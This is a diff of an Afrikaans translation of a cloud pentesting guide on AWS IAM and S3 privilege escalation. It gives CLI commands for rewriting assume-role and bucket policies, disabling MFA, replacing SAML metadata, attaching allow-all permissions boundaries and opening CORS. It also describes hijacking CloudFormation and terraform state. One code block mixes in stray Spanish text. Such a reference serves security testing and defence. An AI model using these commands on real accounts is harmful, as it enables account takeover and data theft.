 ### **`iam:UpdateAssumeRolePolicy`**
 
-Laat toe om die assume role policy document van 'n rol te wysig, wat die aanname van die rol en die daaraan verbonde regte moontlik maak.
+Laat toe om die assume role policy document van 'n rol te wysig, wat die aanname van die rol en sy geassosieerde permissions moontlik maak.
 
-**Uitbuiting:**
+**Exploit:**
 ```bash
 aws iam update-assume-role-policy --role-name <role_name> \
 --policy-document file:///path/to/assume/role/policy.json
@@ -163,38 +163,38 @@ Waar die beleid soos volg lyk, wat die gebruiker toestemming gee om die rol aan
 ]
 }
 ```
-**Impact:** Direkte privilegie-opskaling deur enige rol se toestemmings aan te neem.
+**Impact:** Direkte privilege escalation deur die permissies van enige rol aan te neem.
 
 ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
 
-Laat toe om 'n SSH publieke sleutel op te laai vir verifikasie by CodeCommit en om MFA-toestelle te deaktiveer, wat kan lei tot potensiële indirekte privilegie-opskaling.
+Laat toe om 'n SSH publieke sleutel op te laai om by CodeCommit te verifieer en om MFA devices te deaktiveer, wat kan lei tot potensiële indirekte privilege escalation.
 
 **Exploit for SSH Key Upload:**
 ```bash
 aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
 ```
-**Exploit vir MFA Deactivation:**
+**Exploit vir MFA-deaktivering:**
 ```bash
 aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
 ```
-**Impak:** Indirekte privilege escalation deur CodeCommit-toegang te aktiveer of MFA-beskerming te deaktiveer.
+**Impak:** Indirekte privilegie-eskalasie deur CodeCommit-toegang te aktiveer of MFA-beskerming uit te skakel.
 
 ### **`iam:ResyncMFADevice`**
 
-Laat toe om 'n MFA-toestel te her-sinchroniseer, wat moontlik kan lei tot indirekte privilege escalation deur die MFA-beskerming te manipuleer.
+Laat die hersinchronisering van 'n MFA-toestel toe, wat moontlik tot indirekte privilegie-eskalasie kan lei deur MFA-beskerming te manipuleer.
 
-**Bash-opdrag:**
+**Bash Command:**
 ```bash
 aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
 --authentication-code1 <code1> --authentication-code2 <code2>
 ```
-**Impak:** Indirekte privilege-eskalasie deur MFA-toestelle by te voeg of te manipuleer.
+**Impact:** Indirekte privilege escalation deur MFA devices by te voeg of te manipuleer.
 
 ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
 
-Met hierdie toestemmings kan jy **die XML-metagegewens van die SAML-verbinding verander**. Dan kan jy die **SAML-federasie** misbruik om **aan te meld** met enige **rol wat dit vertrou**.
+Met hierdie toestemmings kan jy **die XML metadata van die SAML-verbinding verander**. Dan kan jy die **SAML federation** misbruik om te **login** met enige **role wat dit vertrou**.
 
-Neem kennis dat as jy dit doen **legitieme gebruikers nie sal kan aanmeld nie**. Jy kan egter die XML kry, sodat jy jou eie kan plaas, aanmeld en die vorige instelling terugstel.
+Let wel dat as jy dit doen **sal legitieme gebruikers nie kan login nie**. Jy kan egter die XML kry, joune insit, login en die vorige weer herstel.
 ```bash
 # List SAMLs
 aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
 aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
 ```
 > [!NOTE]
-> TODO: 'n Tool wat SAML-metadata kan genereer en kan login met 'n gespesifiseerde rol
+> TODO: 'n tool wat die SAML metadata kan genereer en kan aanmeld met 'n gespesifiseerde rol
 
 ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
 
-(Onseker hieroor) As 'n aanvaller hierdie **permissions** het, kan hy 'n nuwe **Thumbprint** byvoeg om daarin te slaag om by al die rolle wat die provider vertrou te login.
+(Onseker hieroor) As 'n aanvaller hierdie **toestemmings** het, kan hy 'n nuwe **Thumbprint** byvoeg en sodoende by al die rolle aanmeld wat die provider vertrou.
 ```bash
 # List providers
 aws iam list-open-id-connect-providers
@@ -226,8 +226,35 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
 ```
 ### `iam:PutUserPermissionsBoundary`
 
-Hierdie toestemming laat 'n attacker toe om die permissions boundary van 'n gebruiker te bywerk, en kan moontlik hul bevoegdhede eskaleer deur hulle in staat te stel om aksies uit te voer wat normaalweg deur hul bestaande toestemmings beperk word.
+Hierdie toestemming laat 'n aanvaller toe om die permissions boundary van 'n gebruiker by te werk, en kan moontlik hul bevoegdhede verhoog deur hulle toe te laat om aksies uit te voer wat normaalweg deur hul bestaande toestemmings beperk is.
+```bash
+aws iam put-user-permissions-boundary \
+--user-name <nombre_usuario> \
+--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
 
+Un ejemplo de una política que no aplica ninguna restricción es:
+
+
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BoundaryAllowAll",
+"Effect": "Allow",
+"Action": "*",
+"Resource": "*"
+}
+]
+}
+```
+### `iam:PutRolePermissionsBoundary`
+
+’n Akteur met iam:PutRolePermissionsBoundary kan ’n permissions boundary op ’n bestaande role stel. Die risiko ontstaan wanneer iemand met hierdie toestemming die role se boundary verander: hulle kan bedrywighede onvanpas beperk (waardeur diensonderbreking veroorsaak kan word) of, as hulle ’n permissive boundary heg, die rol se bevoegdhede effektief uitbrei en voorregte eskaleer.
+```bash
+aws iam put-role-permissions-boundary \
+--role-name <Role_Name> \
+--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
+```
 ## Verwysings
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md

@@ -6,9 +6,9 @@
 
 ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
 
-’n aanvaller met daardie toestemmings oor relevante buckets kan hulpbronne kaap en bevoegdhede eskaleer.
+'n attacker met daardie permissions oor relevante buckets kan dalk hijack resources en escalate privileges.
 
-Byvoorbeeld, ’n aanvaller met daardie **toestemmings oor ’n cloudformation bucket** genaamd "cf-templates-nohnwfax6a6i-us-east-1" sal die deployment kan kaap. Toegang kan gegee word met die volgende beleid:
+Byvoorbeeld, 'n attacker met daardie **permissions over a cloudformation bucket** genaamd "cf-templates-nohnwfax6a6i-us-east-1" sal die deployment kan hijack. Die toegang kan gegee word met die volgende policy:
 ```json
 {
 "Version": "2012-10-17",
@@ -34,30 +34,29 @@ Byvoorbeeld, ’n aanvaller met daardie **toestemmings oor ’n cloudformation b
 ]
 }
 ```
-En die kaping is moontlik omdat daar 'n **klein tydvenster vanaf die oomblik waarop die sjabloon na die bucket opgelaai word** tot die oomblik waarop die **sjabloon gedeplooi** word. 'n Aanvaller kan net 'n **lambda function** in sy rekening skep wat **getrigger word wanneer 'n bucket-notifikasie gestuur word**, en die **inhoud** van daardie **bucket** kaap.
+En die kaping is moontlik omdat daar 'n **klein tydvenster vanaf die oomblik waarop die template na die bucket opgelaai word** tot by die oomblik waarop die **template gedeploy word**. 'n Aanvaller kan net 'n **lambda function** in sy rekening skep wat **trigger wanneer 'n bucket notification gestuur word**, en die aanval **hijacks** die **content** van daardie **bucket**.
 
 ![](<../../../images/image (174).png>)
 
-Die Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kan gebruik word om hierdie aanval te outomatiseer.\
-Vir meer inligting, sien die oorspronklike navorsing: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
+Die Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kan gebruik word om hierdie aanval te outomatiseer.\ Vir meer inligting, kyk na die oorspronklike navorsing: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
 
 ### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
 
-Hierdie is die permissies om **objekte op te haal en op te laai na S3**. Verskeie dienste binne AWS (en buite dit) gebruik S3-opberging om **konfigurasielêers** te stoor.\
-'n Aanvaller met **read access** tot hierdie lêers kan moontlik **sensitiewe inligting** daarin vind.\
-'n Aanvaller met **write access** tot hierdie lêers kan die **data wysig om 'n diens te misbruik en probeer om privileges te eskaleer**.\
+Dit is die permissies om **objekte te kry en op te laai na S3**. Verskeie dienste binne AWS (en buite dit) gebruik S3-opberging om **konfigurasielêers** te stoor.\
+'n Aanvaller met **lees-toegang** daartoe kan **sensitiewe inligting** daarin vind.\
+'n Aanvaller met **skryf-toegang** daartoe kan die data **wysig om 'n diens te misbruik en probeer om privileges te eskaleer**.\
 Hier is 'n paar voorbeelde:
 
-- As 'n EC2-instance die **user data in 'n S3 bucket** stoor, kan 'n aanvaller dit wysig om **arbitrêre kode binne die EC2-instance uit te voer**.
+- As 'n EC2 instance die **user data in 'n S3 bucket** stoor, kan 'n aanvaller dit wysig om **arbitrêre kode binne die EC2 instance uit te voer**.
 
 ### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
 
-Dit is baie algemeen dat die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state-lêers na blob-opberging van cloud-verskaffers gestoor word, bv. AWS S3. Die lêeruitbreiding vir 'n state-lêer is `.tfstate`, en die bucket-name verraai dikwels dat hulle terraform state-lêers bevat. Gewoonlik het elke AWS-rekening so 'n bucket om die state-lêers te stoor wat die toestand van die rekening wys.
-Ook in werklike rekeninge het byna altyd alle ontwikkelaars `s3:*` en soms selfs sakegebruikers `s3:Put*`.
+Dit is baie algemeen dat die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state-lêers na blob-opberging van cloud-verskaffers gestoor word, bv. AWS S3. Die lêer-uitbreiding vir 'n state-lêer is `.tfstate`, en die bucket-name verraai dikwels dat hulle terraform state-lêers bevat. Gewoonlik het elke AWS rekening een sulke bucket om die state-lêers te stoor wat die status van die rekening wys.
+Ook in werklike rekeninge het byna altyd al die ontwikkelaars `s3:*` en soms selfs sakegebruikers `s3:Put*`.
 
-Dus, as jy die permissies oor hierdie lêers het, bestaan daar 'n aanvalsvektor wat jou toelaat om RCE in die pipeline te kry met die voorregte van `terraform` — meestal `AdministratorAccess`, wat jou die admin van die cloud-rekening maak. Ook kan jy daardie vektor gebruik om 'n denial of service-aanval te doen deur `terraform` gemagtig te maak om regsgrondige hulpbronne te verwyder.
+As jy dus die permissies oor hierdie lêers het, is daar 'n aanvalsvector wat jou toelaat om RCE in die pipeline te kry met die bevoegdhede van `terraform` — meestal `AdministratorAccess`, wat jou die admin van die cloud-rekening maak. Jy kan ook daardie vector gebruik om 'n denial of service-aanval uit te voer deur `terraform` te laat geldige hulpbronne verwyder.
 
-Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code:
+Volg die beskrywing in die *Abusing Terraform State Files* afdeling van die *Terraform Security* bladsy vir direk bruikbare exploit-kode:
 
 {{#ref}}
 ../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -65,7 +64,7 @@ Follow the description in the *Abusing Terraform State Files* section of the *Te
 
 ### `s3:PutBucketPolicy`
 
-'n Aanvaller wat **uit dieselfde rekening** moet wees — anders sal die fout `The specified method is not allowed will trigger` voorkom — kan met hierdie permissie homself meer permissies oor die bucket(s) gee, wat hom toelaat om buckets te lees, skryf, wysig, uit te vee en bloot te stel.
+'n Aanvaller wat **uit dieselfde rekening** moet wees — indien nie sal die fout `The specified method is not allowed will trigger` voorkom — met hierdie permissie sal homself meer permissies oor die bucket(s) kan verleen, wat hom toelaat om buckets te lees, skryf, wysig, verwyder en bloot te stel.
 ```bash
 # Update Bucket policy
 aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
@@ -123,8 +122,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
 ```
 ### `s3:GetBucketAcl`, `s3:PutBucketAcl`
 
-'n aanvaller kan hierdie permissies misbruik om hom meer toegang tot spesifieke buckets te gee.\
-Let wel dat die aanvaller nie uit dieselfde account hoef te wees nie. Verder gee die skryf-toegang
+'n aanvaller kan hierdie permissies misbruik om **hom meer toegang** tot spesifieke buckets te gee.\
+Let wel dat die aanvaller nie uit dieselfde account hoef te wees nie. Boonop gee die write access
 ```bash
 # Update bucket ACL
 aws s3api get-bucket-acl --bucket <bucket-name>
@@ -151,7 +150,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
 ```
 ### `s3:GetObjectAcl`, `s3:PutObjectAcl`
 
-An attacker kan hierdie permissies misbruik om hom meer toegang tot spesifieke objects binne buckets te gee.
+'n Aanvaller kan hierdie permissies misbruik om vir homself meer toegang tot spesifieke objekte binne buckets te gee.
 ```bash
 # Update bucket object ACL
 aws s3api get-object-acl --bucket <bucekt-name> --key flag
@@ -178,9 +177,29 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
 ```
 ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
 
-Daar word verwag dat 'n aanvaller met hierdie voorregte in staat sal wees om 'n Acl aan 'n spesifieke objekweergawe toe te voeg.
+'n aanvaller met hierdie regte behoort 'n Acl op 'n spesifieke object version te kan plaas
 ```bash
 aws s3api get-object-acl --bucket <bucekt-name> --key flag
 aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
 ```
+### `s3:PutBucketCORS`
+
+'n aanvaller met die s3:PutBucketCORS toestemming kan 'n bucket se CORS (Cross-Origin Resource Sharing) konfigurasie wysig, wat beheer watter webdomeine toegang tot sy endpunte mag hê. As hulle 'n permissiewe beleid instel, kan enige webwerf direkte versoeke na die bucket stuur en antwoorde vanaf 'n blaaier lees.
+
+Dit beteken dat, moontlik, as 'n geverifieerde gebruiker van 'n webapp wat vanaf die bucket gehost word die aanvaller se webwerf besoek, die aanvaller die permissiewe CORS-beleid kan misbruik en, afhangend van die toepassing, toegang tot die gebruiker se profieldata kan kry of selfs die gebruiker se rekening kan kaap.
+```bash
+aws s3api put-bucket-cors \
+--bucket <BUCKET_NAME> \
+--cors-configuration '{
+"CORSRules": [
+{
+"AllowedOrigins": ["*"],
+"AllowedMethods": ["GET", "PUT", "POST"],
+"AllowedHeaders": ["*"],
+"ExposeHeaders": ["x-amz-request-id"],
+"MaxAgeSeconds": 3000
+}
+]
+}'
+```
 {{#include ../../../../banners/hacktricks-training.md}}